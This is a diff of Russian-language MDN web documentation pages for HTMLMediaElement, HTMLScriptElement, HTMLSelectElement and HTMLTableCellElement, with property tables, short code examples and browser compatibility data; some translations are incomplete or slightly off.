{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}
+
[введите описание]
+
{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}
+
[введите описание]
+
{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}
+
Возвращает {{jsxref ('Object')}}, который содержит свойства, которые представляют метаданные из воспроизводимого медиаресурса в виде пар {key: value}. Отдельная копия данных возвращается каждый раз, когда вызывается метод. Этот метод должен вызываться после возникновения события загруженных метаданных.
+
{{domxref("HTMLMediaElement.pause()")}}
+
Пауза воспроизведения мультимедиа.
+
{{domxref("HTMLMediaElement.play()")}}
+
Начинается воспроизведение мультимедиа.
+
{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}
+
Стремится к следующему кадру в медиа. Этот нестандартный экспериментальный метод позволяет вручную управлять считыванием и воспроизведением мультимедиа с настраиваемой скоростью или перемещаться по мультимедиа покадрово для выполнения фильтрации или других операций.
+
{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}
+
Возвращает {{jsxref ("Обещание")}}. Устанавливает клавиши {{domxref ("MediaKeys")}}, используемые при дешифровании медиафайлов во время воспроизведения.
+
{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}
+
Устанавливает идентификатор аудиоустройства, которое будет использоваться для вывода, и возвращает {{jsxref ("Promise")}}. Это работает только тогда, когда приложение имеет право использовать указанное устройство.
+
+ +

Устаревшие методы

+ +

Эти методы устарели и не должны использоваться, даже если браузер все еще поддерживает их.

+ +
+
{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Этот метод, доступный только в реализации Mozilla, загружает данные из другого медиа-элемента. Это работает аналогично load () за исключением того, что вместо обычного алгоритма выбора ресурса для источника просто устанавливается значение currentSrc другого элемента. Это оптимизировано, так что этот элемент получает доступ ко всем кэшированным и буферизованным данным другого элемента; фактически эти два элемента совместно используют загруженные данные, поэтому данные, загруженные любым из этих элементов, доступны обоим.
+
+ +

События 

+ +

Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определенного в миксине {{domxref ('GlobalEventHandlers')}}. Прослушайте эти события, используя addEventListener () или назначив прослушиватель событий свойству oneventname этого интерфейса.

+ +
+
{{domxref("HTMLMediaElement.abort_event", 'abort')}}
+
Срабатывает, когда ресурс загружен не полностью, но не в результате ошибки.
+
{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}
+
Запускается, когда пользовательский агент может воспроизводить мультимедиа, но оценивает, что загружено недостаточно данных для воспроизведения мультимедиа до его конца без необходимости остановки для дальнейшей буферизации контента.
+
{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}
+
Запускается, когда пользовательский агент может воспроизводить мультимедиа, и оценивает, что было загружено достаточно данных для воспроизведения мультимедиа до его конца, без необходимости остановки для дальнейшей буферизации контента.
+
{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}
+
Запускается, когда атрибут продолжительности был обновлен.
+
{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}
+
Запускается, когда носитель становится пустым; например, когда носитель уже загружен (или частично загружен), и для его перезагрузки вызывается метод {{domxref ("HTMLMediaElement.load ()")}}.
+
{{domxref("HTMLMediaElement.ended_event", 'ended')}}
+
Срабатывает, когда воспроизведение останавливается, когда достигнут конец носителя (<audio> или <video>) или если дальнейшие данные недоступны.
+
{{domxref("HTMLMediaElement.error_event", 'error')}}
+
Срабатывает, когда ресурс не может быть загружен из-за ошибки.
+
{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}
+
Запускается, когда первый кадр носителя завершил загрузку.
+
{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}
+
Запускается, когда метаданные были загружены
+
{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}
+
Запускается, когда браузер начал загружать ресурс.
+
{{domxref("HTMLMediaElement.pause_event", 'pause')}}
+
Вызывается, когда обрабатывается запрос на приостановку воспроизведения, и действие переходит в состояние паузы, чаще всего это происходит, когда вызывается медиа {{domxref ("HTMLMediaElement.pause ()")}}.
+
{{domxref("HTMLMediaElement.play_event", 'play')}}
+
Срабатывает, когда свойство paused изменяется с true на false, в результате использования метода {{domxref ("HTMLMediaElement.play ()")}} или атрибута autoplay
+
{{domxref("HTMLMediaElement.playing_event", "playing")}}
+
Запускается, когда воспроизведение готово начать после приостановки или задержки из-за отсутствия данных.
+
{{domxref("HTMLMediaElement.progress_event", "progress")}}
+
Периодически запускается, когда браузер загружает ресурс.
+
{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}
+
Запускается, когда скорость воспроизведения изменилась.
+
{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}
+
Запускается, когда скорость воспроизведения изменилась.
+
{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}
+
Запускается, когда начинается операция поиска
+
{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}
+
Запускается, когда пользовательский агент пытается извлечь данные мультимедиа, но данные неожиданно не поступают.
+
{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}
+
Запускается, когда загрузка медиа-данных была приостановлена.
+
{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}
+
Запускается, когда время, указанное атрибутом currentTime, было обновлено.
+
{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}
+
Запускается при изменении громкости.
+
{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}
+
Срабатывает, когда воспроизведение остановлено из-за временной нехватки данных
+
+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикиСтатусКомментарий
{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}{{Spec2('Media Capture')}}Добавляет sinkId и setSinkId(), и captureStream().
{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}{{Spec2('EME')}}Добавляет {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, и {{domxref("onwaitingforkey")}}.
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML WHATWG')}}Без изменений {{SpecName ('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML5 W3C')}}Начальное определение.
+ +

Совместимость браузера

+ + + +

{{Compat("api.HTMLMediaElement")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html new file mode 100644 index 0000000000..064a078e7f --- /dev/null +++ b/files/ru/web/api/htmlscriptelement/index.html @@ -0,0 +1,190 @@ +--- +title: HTMLScriptElement +slug: Web/API/HTMLScriptElement +translation_of: Web/API/HTMLScriptElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTML-элементы {{HTMLElement("script")}} предоставляют HTMLScriptElement интерфейс, который предоставляет специальные свойства и методы для манипулирования поведением и выполнением <script> элементов (за пределами унаследованного {{domxref("HTMLElement")}} интерфейса).

+ +

JavaScript файлы должны обслуживаться с  application/javascript MIME type, но браузеры снисходительны и блокируют их только, если скрипты обслуживаются с типом изображение (image/*), типом видео (video/*), типом аудио (audio/*), или text/csv. Если скрипт заблокирован, его элемент получает событие {{event("error")}}; в противном случае, он получает событие {{event("success")}}.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяТипОписание
type{{domxref("DOMString")}}Представляет тип MIME сценария. Он отражает атрибут {{htmlattrxref("type","script")}}.
src{{domxref("DOMString")}}Получает и отдает URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.
event{{obsolete_inline}}{{domxref("DOMString")}}Старый, способ регистрации обработчиков событий на элементы в HTML-документе.
charset{{domxref("DOMString")}}Представляет кодировку символов внешнего скрипта. Он отражает атрибут {{htmlattrxref("charset","script")}}.
async{{domxref("Boolean")}} +

Атрибуты async и defer булевы атрибуты, которые контролируют как скрипт должен выполняться. Атрибуты defer и async не должны быть указаны, если атрибут src отсутствует.

+ +

Существует три возможных режима выполнения:

+ +
    +
  1. Если атрибут async представлен, то скрипт будет выполняться асинхронно по мере загрузки.
    2. +
  2. Если атрибут async отсутствует, но представлен атрибут defer, то скрипт будет выполняться когда страница полностью загружена.
    3. +
  3. Если ни один атрибут не представлен, то скрипт извлекается и выполняется незамедлительно, блокируя дальнейший парсинг страницы.
    4. +
+ +

Атрибут defer может быть указан с атрибутом async, тогда устаревшие браузеры, которые поддерживают только defer (но не async) откатятся к поведению defer взамен дефолтного поведения блокировки.

+ +
Примечание: Точные детали обработки для этих атрибутов комплексны, включая множество различных аспектов HTML, и разбросаны по всей спецификации. Эти алгоритмы описывают основную идею, но они основаны на правилах синтаксического анализа для {{HTMLElement("script")}} открывающих и закрывающих тэгах в HTML, во внешнем контенте, и в XML; правиле для метода  document.write(); обработке сценариев; и так далее.
+
defer{{domxref("Boolean")}}
crossOrigin {{experimental_inline}}{{domxref("DOMString")}}{{domxref("DOMString")}}, отражающий настройку CORS для элементов скрипта. Для скриптов из других источников, он контролирует, будет ли раскрыта информация об ошибке.
text{{domxref("DOMString")}} +

IDL атрибут text объединяет и возвращает содержимое всех Text нод внутри элемента {{HTMLElement("script")}} (игнорируя другие ноды, такие как комментарии) в древовидном порядке. При установке, он  действует также, как и IDL атрибут textContent.

+ +
Примечание: При вставке с использованием метода document.write(), элементы {{HTMLElement("script")}} выполняются (обычно синхронно), когда при вставке используются innerHTML или outerHTML, они вообще не выполняются.
+
noModule{{domxref("Boolean")}}Это булево свойство выполняет остановку выполнения скрипта в браузере, поддерживающим ES2015 модули — используется для запуска резервных скриптов, которые не поддерживают JavaScript модули.
referrerPolicy{{domxref("DOMString")}}{{domxref("DOMString")}}, который отражает HTML атрибут {{htmlattrxref("referrerPolicy", "script")}} указывающий, какой реферер использовать при извлечении скриптов и выборках, выполненных сценариев.
+ +

Методы

+ +

Нет специальных методов; наследует методы от родителей, {{domxref("HTMLElement")}}.

+ +

Примеры

+ +

Динамическое импортирование скриптов

+ +

Давайте создадим функцию. которая импортирует новый скрипт в документ, создавая ноду {{HTMLElement("script")}} непосредственно перед {{HTMLElement("script")}}, в котором размещается следующий код (через {{domxref("document.currentScript")}}). Эти скрипты будут выполняться асинхронно. Для получения пдробной информации смотрите свойства defer и async.

+ +
function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function prefixScript(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.currentScript.parentNode.insertBefore(newScript, document.currentScript);
+  newScript.src = url;
+}
+ +

Следующая функция, вместо добавления новых скриптов непосредственно перед элементом {{domxref("document.currentScript")}}, добавляет их как потомков тега {{HTMLElement("head")}}.

+ +
function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function affixScriptToHead(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.head.appendChild(newScript);
+  newScript.src = url;
+}
+
+ +

Простое использование:

+ +
affixScriptToHead("myScript1.js");
+affixScriptToHead("myScript2.js", function () { alert("The script \"myScript2.js\" has been correctly loaded."); });
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "#htmlscriptelement", "HTMLScriptElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', "scripting-1.html#the-script-element", "HTMLScriptElement")}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', "scripting-1.html#the-script-element", "HTMLScriptElement")}}{{Spec2('HTML5 W3C')}}Следующие свойства устарели: htmlFor,.
{{SpecName('DOM2 HTML', 'html.html#ID-81598695', 'HTMLScriptElement')}}{{Spec2('DOM2 HTML')}}Нет изменений в сравнении с {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-81598695', 'HTMLScriptElement')}}{{Spec2('DOM1')}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.HTMLScriptElement")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlselectelement/index.html b/files/ru/web/api/htmlselectelement/index.html new file mode 100644 index 0000000000..1398bc4566 --- /dev/null +++ b/files/ru/web/api/htmlselectelement/index.html @@ -0,0 +1,376 @@ +--- +title: HTMLSelectElement +slug: Web/API/HTMLSelectElement +tags: + - API + - HTML DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLSelectElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLSelectElement interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.

+ +

 Properties

+ +

This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
{{domxref("HTMLSelectElement.autofocus", "autofocus")}}{{jsxref("Boolean")}}Reflects the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}
{{domxref("HTMLSelectElement.disabled", "disabled")}}{{jsxref("Boolean")}}Reflects the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.
{{domxref("HTMLSelectElement.form", "form")}} {{readonlyInline}}{{domxref("HTMLFormElement")}}Returns the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns null.
{{domxref("HTMLSelectElement.labels", "labels")}} {{readonlyInline}}{{domxref("NodeList")}}Returns a list of label elements associated with this select element.
{{domxref("HTMLSelectElement.length", "length")}}unsigned longThe number of {{HTMLElement("option")}} elements in this select element.
{{domxref("HTMLSelectElement.multiple", "multiple")}}{{jsxref("Boolean")}}Reflects the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.
{{domxref("HTMLSelectElement.name", "name")}}{{domxref("DOMString")}}Reflects the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.
{{domxref("HTMLSelectElement.options", "options")}} {{readonlyInline}}{{domxref("HTMLOptionsCollection")}}The set of {{HTMLElement("option")}} elements contained by this element.
{{domxref("HTMLSelectElement.required", "required")}}{{jsxref("Boolean")}}Reflects the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}
{{domxref("HTMLSelectElement.selectedIndex", "selectedIndex")}}longReflects the index of the first selected {{HTMLElement("option")}} element. The value -1 indicates no element is selected.
{{domxref("HTMLSelectElement.selectedOptions", "selectedOptions")}} {{readonlyInline}}{{domxref("HTMLCollection")}}Set of options that are selected.
{{domxref("HTMLSelectElement.size", "size")}}longReflects the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless multiple is true, in which case it is 4.
{{domxref("HTMLSelectElement.type", "type")}} {{readonlyInline}}
+ {{domxref("DOMString")}}		The form control's type. When multiple is true, it returns "select-multiple"; otherwise, it returns "select-one".
{{domxref("HTMLSelectElement.validationMessage", "validationMessage")}} {{readonlyInline}}{{domxref("DOMString")}}Localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
{{domxref("HTMLSelectElement.validity", "validity")}} {{readonlyInline}}{{domxref("ValidityState")}}The validity state that this control is in.
{{domxref("HTMLSelectElement.value", "value")}}{{domxref("DOMString")}}The value of the form control (the first selected option).
{{domxref("HTMLSelectElement.willValidate", "willValidate")}}{{readonlyInline}}{{jsxref("Boolean")}}Indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+ +

Methods

+ +

This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameDescription
{{domxref("HTMLSelectElement.add()", "add()")}}Adds an element to the collection of option elements for this select element.
blur() {{obsolete_inline}}Removes input focus from this element. This method is now implemented on {{domxref("HTMLElement")}}.
{{domxref("HTMLSelectElement.checkValidity()", "checkValidity()")}}Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns false).
focus() {{obsolete_inline}}Gives input focus to this element. This method is now implemented on {{domxref("HTMLElement")}}.
{{domxref("HTMLSelectElement.item()", "item()")}}Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.
{{domxref("HTMLSelectElement.namedItem()", "namedItem()")}}Gets the item in the options collection with the specified name. The name string can match either the id or the name attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.
{{domxref("HTMLSelectElement.remove()", "remove()")}}Removes the element at the specified index from the options collection for this select element.
{{domxref("HTMLSelectElement.setCustomValidity()", "setCustomValidity()")}}Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does not have a custom validity error.
+ +
+
+ +

Example

+ +

Get information about the selected option

+ +
/* assuming we have the following HTML
+<select id='s'>
+    <option>First</option>
+    <option selected>Second</option>
+    <option>Third</option>
+</select>
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+
+ +

A better way to track changes to the user's selection is to watch for the {{event("change")}} event to occur on the <select>. This will tell you when the value changes, and you can then update anything you need to. See the example provided in the documentation for the change event for details.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the autocomplete property and the reportValidity() method.
{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Is a snapshot of {{SpecName("HTML WHATWG")}}.
+ It adds the autofocus, form, required, labels, selectedOptions, willValidate, validity and validationMessage properties.
+ The tabindex property and the blur() and focus() methods have been moved to {{domxref("HTMLElement")}}.
+ The methods item(), namedItem(), checkValidity() and setCustomValidity().
{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM2 HTML')}}options now returns an {{domxref("HTMLOptionsCollection")}}.
+ length now returns an unsigned long.
{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}} [2]1.01.01.0
item() and namedItem(){{CompatVersionUnknown}}{{CompatVersionUnknown}}[3]{{CompatGeckoDesktop(2.0)}}8[3]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
setCustomValidity(), checkValidity(), willValidate, validationMessage, validity{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
selectedOptions{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(26)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
labels{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}1.01.01.01.0
item() and namedItem(){{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(2.0)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
setCustomValidity(), checkValidity(), willValidate, validationMessage, validity{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(2.0)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
selectedOptions{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(26)}}1.2{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
labels{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] See {{bug("556743")}}.

+ +

[2] Historically, Firefox has allowed keyboard and mouse events to bubble up from the <option> element to the parent {{HTMLElement("select")}} element. This doesn't happen in Chrome, however, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode and the <select> element is displayed as a drop-down list. The behavior is unchanged if the <select> is presented inline and it has either the multiple attribute defined or a size attribute set to more than 1. Rather than watching <option> elements for events, you should watch for {event("change")}} events on {{HTMLElement("select")}}. See {{bug(1090602)}} for details.

+ +

[3] namedItem does not appear to take the name attribute into account (only the id attribute) on Internet Explorer and Edge. There is a bug report to Microsoft about this.

+ +

See also

+ + diff --git a/files/ru/web/api/htmlselectelement/selectedindex/index.html b/files/ru/web/api/htmlselectelement/selectedindex/index.html new file mode 100644 index 0000000000..ce7468e168 --- /dev/null +++ b/files/ru/web/api/htmlselectelement/selectedindex/index.html @@ -0,0 +1,122 @@ +--- +title: HTMLSelectElement.selectedIndex +slug: Web/API/HTMLSelectElement/selectedIndex +tags: + - HTML формы + - HTMLSelectElement +translation_of: Web/API/HTMLSelectElement/selectedIndex +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLSelectElement.selectedIndex показывает порядковый номер первого выбранного элемента {{HTMLElement("option")}}. Значение -1 означает, что ни один из элементов не выбран.

+ +

Синтаксис

+ +
var index = selectElem.selectedIndex;
+selectElem.selectedIndex = index;
+
+ +

Пример

+ +

HTML

+ +
<p id="p">Индекс выбранного элемента: 0</p>
+
+<select id="select">
+  <option selected>Option A</option>
+  <option>Option B</option>
+  <option>Option C</option>
+  <option>Option D</option>
+  <option>Option E</option>
+</select>
+
+ +

JavaScript

+ +
var selectElem = document.getElementById('select')
+var pElem = document.getElementById('p')
+
+// Когда выбран новый элемент <option>
+selectElem.addEventListener('change', function() {
+  var index = selectElem.selectedIndex;
+  // Добавить данные в <p>
+  pElem.innerHTML = 'selectedIndex: ' + index;
+})
+ +

{{EmbedLiveSample("Example", "200px", "80px")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-select-selectedindex', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}Никаких изменений с момента последнего снимка, {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', 'forms.html#dom-select-selectedindex', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Исходное определение, снимка с {{SpecName("HTML WHATWG")}}.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html new file mode 100644 index 0000000000..8778a21cc7 --- /dev/null +++ b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html @@ -0,0 +1,106 @@ +--- +title: HTMLSelectElement.setCustomValidity() +slug: Web/API/HTMLSelectElement/setCustomValidity +translation_of: Web/API/HTMLSelectElement/setCustomValidity +--- +
{{ APIRef("HTML DOM") }}
+ +

Метод HTMLSelectElement.setCustomValidity() устанавливает  специальное сообщение для  выбранного элемента. Если элемент не имеет пользовательской ошибки в параметре укажите пустую строку.

+ +

Синтаксис

+ +
selectElt.setCustomValidity(string);
+ +

Параметр

+ + + +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}{{Spec2('HTML5 W3C')}}Initial definition, snapshot of {{SpecName('HTML WHATWG')}}
+ +

Поддержка браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaEdgeSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(2.0)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmltablecellelement/index.html b/files/ru/web/api/htmltablecellelement/index.html new file mode 100644 index 0000000000..c7ea5e85b1 --- /dev/null +++ b/files/ru/web/api/htmltablecellelement/index.html @@ -0,0 +1,155 @@ +--- +title: HTMLTableCellElement +slug: Web/API/HTMLTableCellElement +translation_of: Web/API/HTMLTableCellElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Интерфейс HTMLTableCellElement содержит специальные свойства и методы (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of table cells, either header or data cells, in an HTML document.

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLTableCellElement.colSpan")}}
+
Is an unsigned long that represents the number of columns this cell must span. It reflects the {{htmlattrxref("colspan", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.rowSpan")}}
+
Is an unsigned long that represents the number of rows this cell must span. It reflects the {{htmlattrxref("rowspan", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.headers")}} {{readonlyInline}}
+
Is a {{domxref("DOMSettableTokenList")}} describing a list of id of {{HTMLElement("th")}} elements that represents headers associated with the cell. It reflects the {{htmlattrxref("headers", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.cellIndex")}} {{readonlyInline}}
+
Is a long representing the cell position in the cells collection of the {{HTMLElement("tr")}} it belongs to. If the cell doesn't belong to a <tr>, it returns -1.
+
{{domxref("HTMLTableCellElement.align")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing an enumerated value reflecting the {{htmlattrxref("align", "td")}} attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are "left", "right", and "center".
+
{{domxref("HTMLTableCellElement.bgColor")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing the background color of the cells. It reflects the obsolete {{htmlattrxref("bgColor", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.axis")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing a name grouping cells in virtual. It reflects the obsolete {{htmlattrxref("axis", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.height")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing a length of pixel of the hinted height of the cell. It reflects the obsolete {{htmlattrxref("height", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.width")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing a length of pixel of the hinted width of the cell. It reflects the obsolete {{htmlattrxref("width", "td")}} attribute.
+
{{domxref("HTMLTableCellElement.ch")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} containing one single chararcter. This character is the one to align all the cell of a column on. It reflects the {{htmlattrxref("char", "td")}} and default to the decimal points associated with the language, e.g. '.' for English, or ',' for French. This property was optional and was not very well supported.
+
{{domxref("HTMLTableCellElement.chOff")}} {{obsolete_inline}}
+
